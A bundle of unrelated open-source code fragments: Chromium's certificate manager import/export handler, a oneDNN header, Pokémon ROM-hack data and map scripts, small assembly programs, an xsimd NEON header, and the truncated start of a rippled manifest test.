case net::ERR_PKCS12_IMPORT_BAD_PASSWORD:
// TODO(mattm): if the error was a bad password, we should reshow the
// password dialog after the user dismisses the error dialog.
string_id = IDS_CERT_MANAGER_BAD_PASSWORD;
break;
case net::ERR_PKCS12_IMPORT_INVALID_MAC:
string_id = IDS_CERT_MANAGER_IMPORT_INVALID_MAC;
break;
case net::ERR_PKCS12_IMPORT_INVALID_FILE:
string_id = IDS_CERT_MANAGER_IMPORT_INVALID_FILE;
break;
case net::ERR_PKCS12_IMPORT_UNSUPPORTED:
string_id = IDS_CERT_MANAGER_IMPORT_UNSUPPORTED;
break;
default:
string_id = IDS_CERT_MANAGER_UNKNOWN_ERROR;
break;
}
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(string_id));
}
void CertificateManagerHandler::CancelImportExportProcess(
const base::ListValue* args) {
ImportExportCleanup();
}
void CertificateManagerHandler::ImportExportCleanup() {
file_path_.clear();
password_.clear();
file_data_.clear();
use_hardware_backed_ = false;
selected_cert_list_.clear();
module_ = NULL;
tracker_.TryCancelAll();
// There may be pending file dialogs, we need to tell them that we've gone
// away so they don't try and call back to us.
if (select_file_dialog_.get())
select_file_dialog_->ListenerDestroyed();
select_file_dialog_ = NULL;
}
void CertificateManagerHandler::ImportServer(const base::ListValue* args) {
select_file_dialog_ = ui::SelectFileDialog::Create(
this, new ChromeSelectFilePolicy(web_ui()->GetWebContents()));
ShowCertSelectFileDialog(
select_file_dialog_.get(),
ui::SelectFileDialog::SELECT_OPEN_FILE,
base::FilePath(),
GetParentWindow(),
reinterpret_cast<void*>(IMPORT_SERVER_FILE_SELECTED));
}
void CertificateManagerHandler::ImportServerFileSelected(
const base::FilePath& path) {
file_access_provider_->StartRead(
path, base::Bind(&CertificateManagerHandler::ImportServerFileRead,
base::Unretained(this)),
&tracker_);
}
void CertificateManagerHandler::ImportServerFileRead(const int* read_errno,
const std::string* data) {
if (*read_errno) {
ImportExportCleanup();
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_SERVER_IMPORT_ERROR_TITLE),
l10n_util::GetStringFUTF8(IDS_CERT_MANAGER_READ_ERROR_FORMAT,
UTF8ToUTF16(
base::safe_strerror(*read_errno))));
return;
}
selected_cert_list_ = net::X509Certificate::CreateCertificateListFromBytes(
data->data(), data->size(), net::X509Certificate::FORMAT_AUTO);
if (selected_cert_list_.empty()) {
ImportExportCleanup();
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_SERVER_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CERT_PARSE_ERROR));
return;
}
net::NSSCertDatabase::ImportCertFailureList not_imported;
// TODO(mattm): Add UI for trust. http://crbug.com/76274
bool result = certificate_manager_model_->ImportServerCert(
selected_cert_list_,
net::NSSCertDatabase::TRUST_DEFAULT,
¬_imported);
if (!result) {
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_SERVER_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR));
} else if (!not_imported.empty()) {
ShowImportErrors(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_SERVER_IMPORT_ERROR_TITLE),
not_imported);
}
ImportExportCleanup();
}
void CertificateManagerHandler::ImportCA(const base::ListValue* args) {
select_file_dialog_ = ui::SelectFileDialog::Create(
this, new ChromeSelectFilePolicy(web_ui()->GetWebContents()));
ShowCertSelectFileDialog(select_file_dialog_.get(),
ui::SelectFileDialog::SELECT_OPEN_FILE,
base::FilePath(),
GetParentWindow(),
reinterpret_cast<void*>(IMPORT_CA_FILE_SELECTED));
}
void CertificateManagerHandler::ImportCAFileSelected(
const base::FilePath& path) {
file_access_provider_->StartRead(
path, base::Bind(&CertificateManagerHandler::ImportCAFileRead,
base::Unretained(this)),
&tracker_);
}
void CertificateManagerHandler::ImportCAFileRead(const int* read_errno,
const std::string* data) {
if (*read_errno) {
ImportExportCleanup();
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CA_IMPORT_ERROR_TITLE),
l10n_util::GetStringFUTF8(IDS_CERT_MANAGER_READ_ERROR_FORMAT,
UTF8ToUTF16(
base::safe_strerror(*read_errno))));
return;
}
selected_cert_list_ = net::X509Certificate::CreateCertificateListFromBytes(
data->data(), data->size(), net::X509Certificate::FORMAT_AUTO);
if (selected_cert_list_.empty()) {
ImportExportCleanup();
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CA_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CERT_PARSE_ERROR));
return;
}
scoped_refptr<net::X509Certificate> root_cert =
certificate_manager_model_->cert_db()->FindRootInList(
selected_cert_list_);
// TODO(mattm): check here if root_cert is not a CA cert and show error.
base::StringValue cert_name(root_cert->subject().GetDisplayName());
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.showImport", cert_name);
}
void CertificateManagerHandler::ImportCATrustSelected(
const base::ListValue* args) {
bool fail = false;
bool trust_ssl = false;
bool trust_email = false;
bool trust_obj_sign = false;
fail |= !CallbackArgsToBool(args, 0, &trust_ssl);
fail |= !CallbackArgsToBool(args, 1, &trust_email);
fail |= !CallbackArgsToBool(args, 2, &trust_obj_sign);
if (fail) {
LOG(ERROR) << "ImportCATrustSelected args fail";
ImportExportCleanup();
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.dismiss");
return;
}
// TODO(mattm): add UI for setting explicit distrust, too.
// http://crbug.com/128411
net::NSSCertDatabase::ImportCertFailureList not_imported;
bool result = certificate_manager_model_->ImportCACerts(
selected_cert_list_,
trust_ssl * net::NSSCertDatabase::TRUSTED_SSL +
trust_email * net::NSSCertDatabase::TRUSTED_EMAIL +
trust_obj_sign * net::NSSCertDatabase::TRUSTED_OBJ_SIGN,
¬_imported);
web_ui()->CallJavascriptFunctionUnsafe(
"CertificateEditCaTrustOverlay.dismiss");
if (!result) {
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CA_IMPORT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR));
} else if (!not_imported.empty()) {
ShowImportErrors(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_CA_IMPORT_ERROR_TITLE),
not_imported);
}
ImportExportCleanup();
}
void CertificateManagerHandler::Export(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
if (!cert)
return;
ShowCertExportDialog(web_ui()->GetWebContents(), GetParentWindow(), cert);
}
void CertificateManagerHandler::Delete(const base::ListValue* args) {
net::X509Certificate* cert = cert_id_map_->CallbackArgsToCert(args);
if (!cert)
return;
bool result = certificate_manager_model_->Delete(cert);
if (!result) {
// TODO(mattm): better error messages?
ShowError(
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_DELETE_CERT_ERROR_TITLE),
l10n_util::GetStringUTF8(IDS_CERT_MANAGER_UNKNOWN_ERROR));
}
}
void CertificateManagerHandler::OnCertificateManagerModelCreated(
std::unique_ptr<CertificateManagerModel> model) {
certificate_manager_model_ = std::move(model);
CertificateManagerModelReady();
}
void CertificateManagerHandler::CertificateManagerModelReady() {
base::FundamentalValue user_db_available_value(
certificate_manager_model_->is_user_db_available());
base::FundamentalValue tpm_available_value(
certificate_manager_model_->is_tpm_available());
web_ui()->CallJavascriptFunctionUnsafe("CertificateManager.onModelReady",
user_db_available_value,
tpm_available_value);
certificate_manager_model_->Refresh();
}
void CertificateManagerHandler::Populate(const base::ListValue* args) {
if (certificate_manager_model_) {
// Already have a model, the webui must be re-loading. Just re-run the
// webui initialization.
CertificateManagerModelReady();
return;
}
if (!requested_certificate_manager_model_) {
// Request that a model be created.
CertificateManagerModel::Create(
Profile::FromWebUI(web_ui()),
this,
base::Bind(&CertificateManagerHandler::OnCertificateManagerModelCreated,
weak_ptr_factory_.GetWeakPtr()));
requested_certificate_manager_model_ = true;
return;
}
// We are already waiting for a CertificateManagerModel to be created, no need
// to do anything.
}
void CertificateManagerHandler::PopulateTree(
const std::string& tab_name,
net::CertType type,
const net::CertificateList& web_trust_certs) {
const std::string tree_name = tab_name + "-tree";
std::unique_ptr<icu::Collator> collator;
UErrorCode error = U_ZERO_ERROR;
collator.reset(
icu::Collator::createInstance(
icu::Locale(g_browser_process->GetApplicationLocale().c_str()),
error));
if (U_FAILURE(error))
collator.reset(NULL);
DictionaryIdComparator comparator(collator.get());
CertificateManagerModel::OrgGroupingMap map;
certificate_manager_model_->FilterAndBuildOrgGroupingMap(type, &map);
{
std::unique_ptr<base::ListValue> nodes(new base::ListValue);
for (CertificateManagerModel::OrgGroupingMap::iterator i = map.begin();
i != map.end(); ++i) {
// Populate first level (org name).
std::unique_ptr<base::DictionaryValue> dict(new base::DictionaryValue);
dict->SetString(kKeyId, OrgNameToId(i->first));
dict->SetString(kNameId, i->first);
// Populate second level (certs).
base::ListValue* subnodes = new base::ListValue;
for (net::CertificateList::const_iterator org_cert_it = i->second.begin();
org_cert_it != i->second.end(); ++org_cert_it) {
std::unique_ptr<base::DictionaryValue> cert_dict(
new base::DictionaryValue);
net::X509Certificate* cert = org_cert_it->get();
cert_dict->SetString(kKeyId, cert_id_map_->CertToId(cert));
cert_dict->SetString(kNameId, certificate_manager_model_->GetColumnText(
*cert, CertificateManagerModel::COL_SUBJECT_NAME));
cert_dict->SetBoolean(
kReadOnlyId,
certificate_manager_model_->cert_db()->IsReadOnly(cert));
// Policy-installed certificates with web trust are trusted.
bool policy_trusted =
IsPolicyInstalledWithWebTrust(web_trust_certs, cert);
cert_dict->SetBoolean(
kUntrustedId,
!policy_trusted &&
certificate_manager_model_->cert_db()->IsUntrusted(cert));
cert_dict->SetBoolean(kPolicyTrustedId, policy_trusted);
// TODO(hshi): This should be determined by testing for PKCS #11
// CKA_EXTRACTABLE attribute. We may need to use the NSS function
// PK11_ReadRawAttribute to do that.
cert_dict->SetBoolean(
kExtractableId,
!certificate_manager_model_->IsHardwareBacked(cert));
// TODO(mattm): Other columns.
subnodes->Append(std::move(cert_dict));
}
std::sort(subnodes->begin(), subnodes->end(), comparator);
dict->Set(kSubNodesId, subnodes);
nodes->Append(std::move(dict));
}
std::sort(nodes->begin(), nodes->end(), comparator);
base::ListValue args;
args.AppendString(tree_name);
args.Append(std::move(nodes));
web_ui()->CallJavascriptFunctionUnsafe("CertificateManager.onPopulateTree",
args);
}
}
void CertificateManagerHandler::ShowError(const std::string& title,
const std::string& error) const {
ScopedVector<const base::Value> args;
args.push_back(new base::StringValue(title));
args.push_back(new base::StringValue(error));
args.push_back(new base::StringValue(l10n_util::GetStringUTF8(IDS_OK)));
args.push_back(base::Value::CreateNullValue().release()); // cancelTitle
args.push_back(base::Value::CreateNullValue().release()); // okCallback
args.push_back(base::Value::CreateNullValue().release()); // cancelCallback
web_ui()->CallJavascriptFunctionUnsafe("AlertOverlay.show", args.get());
}
void CertificateManagerHandler::ShowImportErrors(
const std::string& title,
const net::NSSCertDatabase::ImportCertFailureList& not_imported) const {
std::string error;
if (selected_cert_list_.size() == 1)
error = l10n_util::GetStringUTF8(
IDS_CERT_MANAGER_IMPORT_SINGLE_NOT_IMPORTED);
else if (not_imported.size() == selected_cert_list_.size())
error = l10n_util::GetStringUTF8(IDS_CERT_MANAGER_IMPORT_ALL_NOT_IMPORTED);
else
error = l10n_util::GetStringUTF8(IDS_CERT_MANAGER_IMPORT_SOME_NOT_IMPORTED);
base::ListValue cert_error_list;
for (size_t i = 0; i < not_imported.size(); ++i) {
const net::NSSCertDatabase::ImportCertFailure& failure = not_imported[i];
std::unique_ptr<base::DictionaryValue> dict(new base::DictionaryValue);
dict->SetString(kNameId, failure.certificate->subject().GetDisplayName());
dict->SetString(kErrorId, NetErrorToString(failure.net_error));
cert_error_list.Append(std::move(dict));
}
base::StringValue title_value(title);
base::StringValue error_value(error);
web_ui()->CallJavascriptFunctionUnsafe("CertificateImportErrorOverlay.show",
title_value, error_value,
cert_error_list);
}
gfx::NativeWindow CertificateManagerHandler::GetParentWindow() const {
return web_ui()->GetWebContents()->GetTopLevelNativeWindow();
}
} // namespace options
|
/*******************************************************************************
* Copyright 2021 Intel Corporation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*******************************************************************************/
#ifndef GPU_JIT_CONV_REDUCE_SUPPORT_HPP
#define GPU_JIT_CONV_REDUCE_SUPPORT_HPP
namespace dnnl {
namespace impl {
namespace gpu {
namespace jit {
// Implements reduction of GRF buffer for given layout.
class reduce_t : public func_impl_t {
public:
IR_DECL_DERIVED_TYPE_ID(reduce_t, func_impl_t)
static func_t make(const layout_t &src_layout, const layout_t &dst_layout) {
return func_t(new reduce_t(src_layout, dst_layout));
}
bool is_equal(const object_impl_t *obj) const override {
if (!obj->is<self_type>()) return false;
auto &other = obj->as<self_type>();
return (src_layout == other.src_layout)
&& (dst_layout == other.dst_layout);
}
size_t get_hash() const override {
return ir_utils::get_hash(src_layout, dst_layout);
}
std::string str() const override {
std::ostringstream oss;
oss << "reduce[" << src_layout << ", " << dst_layout << "]";
return oss.str();
}
IR_DEFINE_ARG_GET(dst_buf, 0)
IR_DEFINE_ARG_GET(src_buf, 1)
layout_t src_layout;
layout_t dst_layout;
private:
reduce_t(const layout_t &src_layout, const layout_t &dst_layout)
: src_layout(src_layout), dst_layout(dst_layout) {}
};
} // namespace jit
} // namespace gpu
} // namespace impl
} // namespace dnnl
#endif
|
;PinecoBaseStats:: not added yet
db DEX_PINECO ; pokedex id
db 50 ; base hp
db 65 ; base attack
db 90 ; base defense
db 15 ; base speed
db 35 ; base special
db BUG ; species type 1
db BUG ; species type 2
db 190 ; catch rate
db 60 ; base exp yield
INCBIN "pic/ymon/pineco.pic",0,1 ; 55, sprite dimensions
dw PinecoPicFront
dw PinecoPicBack
; attacks known at lvl 0
db TACKLE
db MIRROR_COAT ; PROTECT
db HARDEN ;Spikes
db 0
db 0 ; growth rate
; learnset
tmlearn 6,8
tmlearn 9,10
tmlearn 18,20,21
tmlearn 26,28,32
tmlearn 33,34,36,39
tmlearn 44
tmlearn 50,54
db Bank(PinecoPicFront) ; padding
|
org 0x100
mov ah, 0x09
mov dx, msg
int 0x21
mov ax, 0x4c00
int 0x21
msg: db 'Hello world!', 13, 10, '$'
|
; A020703: Take the sequence of natural numbers (A000027) and reverse successive subsequences of lengths 1,3,5,7,...
; 1,4,3,2,9,8,7,6,5,16,15,14,13,12,11,10,25,24,23,22,21,20,19,18,17,36,35,34,33,32,31,30,29,28,27,26,49,48,47,46,45,44,43,42,41,40,39,38,37,64,63,62,61,60,59,58,57,56,55,54,53,52,51,50,81,80,79,78,77,76,75,74,73,72,71,70,69,68,67,66,65,100,99,98,97,96,95,94,93,92,91,90,89,88,87,86,85,84,83,82
mov $1,6
sub $1,$0
lpb $0
sub $0,1
add $2,2
trn $0,$2
add $1,$2
add $1,$2
lpe
sub $1,5
mov $0,$1
|
MOV A, R2
ADD A, R0
MOV R5, A
MOV A, R3
ADDC A, R1
MOV R6, A
CLR A
ADDC A, #0
MOV R7, A
|
; A098848: a(n) = n*(n + 14).
; 0,15,32,51,72,95,120,147,176,207,240,275,312,351,392,435,480,527,576,627,680,735,792,851,912,975,1040,1107,1176,1247,1320,1395,1472,1551,1632,1715,1800,1887,1976,2067,2160,2255,2352,2451,2552,2655,2760,2867,2976,3087,3200,3315,3432,3551,3672,3795,3920,4047,4176,4307,4440,4575,4712,4851,4992,5135,5280,5427,5576,5727,5880,6035,6192,6351,6512,6675,6840,7007,7176,7347,7520,7695,7872,8051,8232,8415,8600,8787,8976,9167,9360,9555,9752,9951,10152,10355,10560,10767,10976,11187
mov $1,$0
add $1,14
mul $0,$1
|
; A228833: a(n) = Sum_{k=0..[n/2]} binomial((n-k)*k, k^2).
; Submitted by Jamie Morken(s3)
; 1,1,2,3,5,20,77,437,5509,54475,1031232,31874836,789351469,47552777430,3302430043985,223753995897916,39177880844093733,5954060239110086680,1226026438114057710320,551315671593483499670137,188615011023291125237647365,124995445742889226418307452940
mov $3,$0
mov $6,$0
lpb $3
mov $0,$6
sub $3,1
sub $0,$3
mov $2,$0
pow $2,2
mov $5,$6
sub $5,$0
mul $5,$0
bin $5,$2
add $4,$5
lpe
mov $0,$4
add $0,1
|
object_const_def ; object_event constants
const SAFARIZONEWARDENSHOME_LASS
SafariZoneWardensHome_MapScripts:
db 0 ; scene scripts
db 0 ; callbacks
WardensGranddaughter:
faceplayer
opentext
checkevent EVENT_TALKED_TO_WARDENS_GRANDDAUGHTER
iftrue .AlreadyMet
writetext WardensGranddaughterText1
waitbutton
closetext
setevent EVENT_TALKED_TO_WARDENS_GRANDDAUGHTER
end
.AlreadyMet:
writetext WardensGranddaughterText2
waitbutton
closetext
end
WardenPhoto:
jumptext WardenPhotoText
SafariZonePhoto:
jumptext SafariZonePhotoText
WardensHomeBookshelf:
jumpstd picturebookshelf
WardensGranddaughterText1:
text "My grandpa is the"
line "SAFARI ZONE WAR-"
cont "DEN."
para "At least he was…"
para "He decided to go"
line "on a vacation and"
para "took off overseas"
line "all by himself."
para "He quit running"
line "SAFARI ZONE just"
cont "like that."
done
WardensGranddaughterText2:
text "Many people were"
line "disappointed that"
para "SAFARI ZONE closed"
line "down, but Grandpa"
cont "is so stubborn…"
done
WardenPhotoText:
text "It's a photo of a"
line "grinning old man"
para "who's surrounded"
line "by #MON."
done
SafariZonePhotoText:
text "It's a photo of a"
line "huge grassy plain"
para "with rare #MON"
line "frolicking in it."
done
SafariZoneWardensHome_MapEvents:
db 0, 0 ; filler
db 2 ; warp events
warp_event 2, 7, FUCHSIA_CITY, 6
warp_event 3, 7, FUCHSIA_CITY, 6
db 0 ; coord events
db 4 ; bg events
bg_event 0, 1, BGEVENT_READ, WardensHomeBookshelf
bg_event 1, 1, BGEVENT_READ, WardensHomeBookshelf
bg_event 7, 0, BGEVENT_READ, WardenPhoto
bg_event 9, 0, BGEVENT_READ, SafariZonePhoto
db 1 ; object events
object_event 2, 4, SPRITE_LASS, SPRITEMOVEDATA_STANDING_RIGHT, 0, 0, -1, -1, PAL_NPC_GREEN, OBJECTTYPE_SCRIPT, 0, WardensGranddaughter, -1
|
/***************************************************************************
* Copyright (c) Johan Mabille, Sylvain Corlay, Wolf Vollprecht and *
* Martin Renou *
* Copyright (c) QuantStack *
* *
* Distributed under the terms of the BSD 3-Clause License. *
* *
* The full license is in the file LICENSE, distributed with this software. *
****************************************************************************/
#ifndef XSIMD_NEON_INT8_HPP
#define XSIMD_NEON_INT8_HPP
#include <utility>
#include "xsimd_base.hpp"
#include "xsimd_neon_bool.hpp"
#include "xsimd_neon_utils.hpp"
namespace xsimd
{
/*********************
* batch<int8_t, 16> *
*********************/
template <>
struct simd_batch_traits<batch<int8_t, 16>>
{
using value_type = int8_t;
static constexpr std::size_t size = 16;
using batch_bool_type = batch_bool<int8_t, 16>;
static constexpr std::size_t align = XSIMD_DEFAULT_ALIGNMENT;
using storage_type = int8x16_t;
};
template <>
class batch<int8_t, 16> : public simd_batch<batch<int8_t, 16>>
{
public:
using base_type = simd_batch<batch<int8_t, 16>>;
using storage_type = typename base_type::storage_type;
using batch_bool_type = typename base_type::batch_bool_type;
batch();
explicit batch(int8_t d);
template <class... Args, class Enable = detail::is_array_initializer_t<int8_t, 16, Args...>>
batch(Args... args);
explicit batch(const int8_t* src);
batch(const int8_t* src, aligned_mode);
batch(const int8_t* src, unaligned_mode);
explicit batch(const char* src);
batch(const char* src, aligned_mode);
batch(const char* src, unaligned_mode);
batch(const storage_type& rhs);
batch& operator=(const storage_type& rhs);
batch(const batch_bool_type& rhs);
batch& operator=(const batch_bool_type& rhs);
operator storage_type() const;
batch& load_aligned(const int8_t* src);
batch& load_unaligned(const int8_t* src);
batch& load_aligned(const uint8_t* src);
batch& load_unaligned(const uint8_t* src);
void store_aligned(int8_t* dst) const;
void store_unaligned(int8_t* dst) const;
void store_aligned(uint8_t* dst) const;
void store_unaligned(uint8_t* dst) const;
using base_type::load_aligned;
using base_type::load_unaligned;
using base_type::store_aligned;
using base_type::store_unaligned;
XSIMD_DECLARE_LOAD_STORE_INT8(int8_t, 16)
XSIMD_DECLARE_LOAD_STORE_LONG(int8_t, 16)
};
batch<int8_t, 16> operator<<(const batch<int8_t, 16>& lhs, int8_t rhs);
batch<int8_t, 16> operator>>(const batch<int8_t, 16>& lhs, int8_t rhs);
/************************************
* batch<int8_t, 16> implementation *
************************************/
inline batch<int8_t, 16>::batch()
{
}
inline batch<int8_t, 16>::batch(int8_t d)
: base_type(vdupq_n_s8(d))
{
}
template <class... Args, class>
inline batch<int8_t, 16>::batch(Args... args)
: base_type(storage_type{static_cast<int8_t>(args)...})
{
}
inline batch<int8_t, 16>::batch(const int8_t* d)
: base_type(vld1q_s8(d))
{
}
inline batch<int8_t, 16>::batch(const int8_t* d, aligned_mode)
: batch(d)
{
}
inline batch<int8_t, 16>::batch(const int8_t* d, unaligned_mode)
: batch(d)
{
}
inline batch<int8_t, 16>::batch(const char* d)
: batch(reinterpret_cast<const int8_t*>(d))
{
}
inline batch<int8_t, 16>::batch(const char* d, aligned_mode)
: batch(reinterpret_cast<const int8_t*>(d))
{
}
inline batch<int8_t, 16>::batch(const char* d, unaligned_mode)
: batch(reinterpret_cast<const int8_t*>(d))
{
}
inline batch<int8_t, 16>::batch(const storage_type& rhs)
: base_type(rhs)
{
}
inline batch<int8_t, 16>& batch<int8_t, 16>::operator=(const storage_type& rhs)
{
this->m_value = rhs;
return *this;
}
namespace detail
{
inline int8x16_t init_from_bool(uint8x16_t a)
{
return vandq_s8(reinterpret_cast<int8x16_t>(a), vdupq_n_s8(1));
}
}
inline batch<int8_t, 16>::batch(const batch_bool_type& rhs)
: base_type(detail::init_from_bool(rhs))
{
}
inline batch<int8_t, 16>& batch<int8_t, 16>::operator=(const batch_bool_type& rhs)
{
this->m_value = detail::init_from_bool(rhs);
return *this;
}
inline batch<int8_t, 16>& batch<int8_t, 16>::load_aligned(const int8_t* src)
{
this->m_value = vld1q_s8(src);
return *this;
}
inline batch<int8_t, 16>& batch<int8_t, 16>::load_unaligned(const int8_t* src)
{
return load_aligned(src);
}
inline batch<int8_t, 16>& batch<int8_t, 16>::load_aligned(const uint8_t* src)
{
this->m_value = vreinterpretq_s8_u8(vld1q_u8(src));
return *this;
}
inline batch<int8_t, 16>& batch<int8_t, 16>::load_unaligned(const uint8_t* src)
{
return load_aligned(src);
}
inline void batch<int8_t, 16>::store_aligned(int8_t* dst) const
{
vst1q_s8(dst, this->m_value);
}
inline void batch<int8_t, 16>::store_unaligned(int8_t* dst) const
{
store_aligned(dst);
}
inline void batch<int8_t, 16>::store_aligned(uint8_t* dst) const
{
vst1q_u8(dst, vreinterpretq_u8_s8(this->m_value));
}
inline void batch<int8_t, 16>::store_unaligned(uint8_t* dst) const
{
store_aligned(dst);
}
XSIMD_DEFINE_LOAD_STORE_INT8(int8_t, 16, 16)
XSIMD_DEFINE_LOAD_STORE_LONG(int8_t, 16, 16)
inline batch<int8_t, 16>::operator int8x16_t() const
{
return this->m_value;
}
namespace detail
{
template <>
struct batch_kernel<int8_t, 16>
{
using batch_type = batch<int8_t, 16>;
using value_type = int8_t;
using batch_bool_type = batch_bool<int8_t, 16>;
static batch_type neg(const batch_type& rhs)
{
return vnegq_s8(rhs);
}
static batch_type add(const batch_type& lhs, const batch_type& rhs)
{
return vaddq_s8(lhs, rhs);
}
static batch_type sub(const batch_type& lhs, const batch_type& rhs)
{
return vsubq_s8(lhs, rhs);
}
static batch_type mul(const batch_type& lhs, const batch_type& rhs)
{
return vmulq_s8(lhs, rhs);
}
static batch_type div(const batch_type& lhs, const batch_type& rhs)
{
return neon_detail::unroll_op<16, int8x16_t, int8_t>([&lhs, &rhs] (std::size_t idx) {
return lhs[idx] / rhs[idx];
});
}
static batch_type mod(const batch_type& lhs, const batch_type& rhs)
{
return neon_detail::unroll_op<16, int8x16_t, int8_t>([&lhs, &rhs] (std::size_t idx) {
return lhs[idx] % rhs[idx];
});
}
static batch_bool_type eq(const batch_type& lhs, const batch_type& rhs)
{
return vceqq_s8(lhs, rhs);
}
static batch_bool_type neq(const batch_type& lhs, const batch_type& rhs)
{
return !(lhs == rhs);
}
static batch_bool_type lt(const batch_type& lhs, const batch_type& rhs)
{
return vcltq_s8(lhs, rhs);
}
static batch_bool_type lte(const batch_type& lhs, const batch_type& rhs)
{
return vcleq_s8(lhs, rhs);
}
static batch_type bitwise_and(const batch_type& lhs, const batch_type& rhs)
{
return vandq_s8(lhs, rhs);
}
static batch_type bitwise_or(const batch_type& lhs, const batch_type& rhs)
{
return vorrq_s8(lhs, rhs);
}
static batch_type bitwise_xor(const batch_type& lhs, const batch_type& rhs)
{
return veorq_s8(lhs, rhs);
}
static batch_type bitwise_not(const batch_type& rhs)
{
return vmvnq_s8(rhs);
}
static batch_type bitwise_andnot(const batch_type& lhs, const batch_type& rhs)
{
return vbicq_s8(lhs, rhs);
}
static batch_type min(const batch_type& lhs, const batch_type& rhs)
{
return vminq_s8(lhs, rhs);
}
static batch_type max(const batch_type& lhs, const batch_type& rhs)
{
return vmaxq_s8(lhs, rhs);
}
static batch_type abs(const batch_type& rhs)
{
return vabsq_s8(rhs);
}
static batch_type fma(const batch_type& x, const batch_type& y, const batch_type& z)
{
return x * y + z;
}
static batch_type fms(const batch_type& x, const batch_type& y, const batch_type& z)
{
return x * y - z;
}
static batch_type fnma(const batch_type& x, const batch_type& y, const batch_type& z)
{
return -x * y + z;
}
static batch_type fnms(const batch_type& x, const batch_type& y, const batch_type& z)
{
return -x * y - z;
}
// Not implemented yet
static value_type hadd(const batch_type& rhs)
{
#if XSIMD_ARM_INSTR_SET >= XSIMD_ARM8_64_NEON_VERSION
return vaddvq_s8(rhs);
#else
int8x8_t tmp = vpadd_s8(vget_low_s8(rhs), vget_high_s8(rhs));
value_type res = 0;
for (std::size_t i = 0; i < 8; ++i)
{
res += tmp[i];
}
return res;
#endif
}
static batch_type select(const batch_bool_type& cond, const batch_type& a, const batch_type& b)
{
return vbslq_s8(cond, a, b);
}
};
}
namespace detail
{
inline batch<int8_t, 16> shift_left(const batch<int8_t, 16>& lhs, const int n)
{
switch(n)
{
case 0: return lhs;
XSIMD_REPEAT_8(vshlq_n_s8);
default: break;
}
return batch<int8_t, 16>(int8_t(0));
}
inline batch<int8_t, 16> shift_right(const batch<int8_t, 16>& lhs, const int n)
{
switch(n)
{
case 0: return lhs;
XSIMD_REPEAT_8(vshrq_n_s8);
default: break;
}
return batch<int8_t, 16>(int8_t(0));
}
}
inline batch<int8_t, 16> operator<<(const batch<int8_t, 16>& lhs, int8_t rhs)
{
return detail::shift_left(lhs, rhs);
}
inline batch<int8_t, 16> operator>>(const batch<int8_t, 16>& lhs, int8_t rhs)
{
return detail::shift_right(lhs, rhs);
}
inline batch<int8_t, 16> operator<<(const batch<int8_t, 16>& lhs, const batch<int8_t, 16>& rhs)
{
return vshlq_s8(lhs, rhs);
}
}
#endif
|
//------------------------------------------------------------------------------
/*
This file is part of rippled: https://github.com/ripple/rippled
Copyright 2014 Ripple Labs Inc.
Permission to use, copy, modify, and/or distribute this software for any
purpose with or without fee is hereby granted, provided that the above
copyright notice and this permission notice appear in all copies.
THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
ANY SPECIAL , DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
*/
//==============================================================================
#include <ripple/app/misc/Manifest.h>
#include <ripple/app/misc/ValidatorList.h>
#include <ripple/basics/contract.h>
#include <ripple/basics/StringUtilities.h>
#include <test/jtx.h>
#include <ripple/core/DatabaseCon.h>
#include <ripple/app/main/DBInit.h>
#include <ripple/protocol/SecretKey.h>
#include <ripple/protocol/Sign.h>
#include <ripple/protocol/STExchange.h>
#include <beast/core/detail/base64.hpp>
#include <boost/filesystem.hpp>
#include <boost/algorithm/string.hpp>
#include <boost/utility/in_place_factory.hpp>
namespace ripple {
namespace test {
class Manifest_test : public beast::unit_test::suite
{
private:
static PublicKey randomNode ()
{
return derivePublicKey (
KeyType::secp256k1,
randomSecretKey());
}
static PublicKey randomMasterKey ()
{
return derivePublicKey (
KeyType::ed25519,
randomSecretKey());
}
static void cleanupDatabaseDir (boost::filesystem::path const& dbPath)
{
using namespace boost::filesystem;
if (!exists (dbPath) || !is_directory (dbPath) || !is_empty (dbPath))
return;
remove (dbPath);
}
static void setupDatabaseDir (boost::filesystem::path const& dbPath)
{
using namespace boost::filesystem;
if (!exists (dbPath))
{
create_directory (dbPath);
return;
}
if (!is_directory (dbPath))
{
// someone created a file where we want to put our directory
Throw<std::runtime_error> ("Cannot create directory: " +
dbPath.string ());
}
}
static boost::filesystem::path getDatabasePath ()
{
